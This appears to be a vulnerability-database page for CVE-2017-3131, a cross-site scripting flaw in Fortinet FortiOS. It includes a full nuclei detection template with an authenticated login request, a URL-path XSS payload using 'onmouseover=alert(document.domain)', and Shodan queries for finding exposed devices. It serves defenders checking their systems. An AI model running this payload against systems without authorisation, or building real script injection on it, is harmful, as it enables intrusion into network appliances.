HexBrain

Browse / CVEs / CVE-2017-3131

CVE-2017-3131· fortinet / fortios· CWE-79

FortiOS 5.4.0 to 5.6.0 - Cross-Site Scripting

mediumseverity
5.4CVSS score
7.7%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.4.0 through 5.4.4 and 5.6.0 allows attackers to execute unauthorized code or commands via the filter input in "Applications" under FortiView.

Impact

Successful exploitation could lead to execution of malicious javascript.

Fix

Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.

How to confirm it

Send: POST /logincheck ; GET /ng/fortiview/app/15832%22%20onmouseover=alert(document.domain)%20x=%22y
Positive when: contains in body_2 "id_15832\" onmouseover=\"alert(document.domain)\"" AND contains in content_type_2 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2017-3131 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-3131

info:
  name: FortiOS 5.4.0 to 5.6.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    A Cross-Site Scripting vulnerability in Fortinet FortiOS versions 5.4.0 through 5.4.4 and 5.6.0 allows attackers to execute unauthorized code or commands via the filter input in "Applications" under FortiView.
  impact: |
    Successful exploitation could lead to execution of malicious javascript.
  remediation: |
    Apply the latest security patches or upgrade to new version to mitigate the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/42388
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3131
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2017-3131
    cwe-id: CWE-79
    epss-score: 0.07681
    epss-percentile: 0.94641
    cpe: cpe:2.3:o:fortinet:fortios:5.4.0:*:*:*:*:*:*:*
  metadata:
    vendor: fortinet
    product: fortios
    shodan-query:
      - http.html:"/remote/login" "xxxxxxxx"
      - http.favicon.hash:945408572
      - cpe:"cpe:2.3:o:fortinet:fortios"
  tags: cve,cve2017,fortinet,fortios,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /logincheck HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain;charset=UTF-8

        ajax=1&username={{username}}&secretkey={{password}}

      - |
        GET /ng/fortiview/app/15832%22%20onmouseover=alert(document.domain)%20x=%22y HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - 'id_15832" onmouseover="alert(document.domain)"'

      - type: word
        part: content_type_2
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from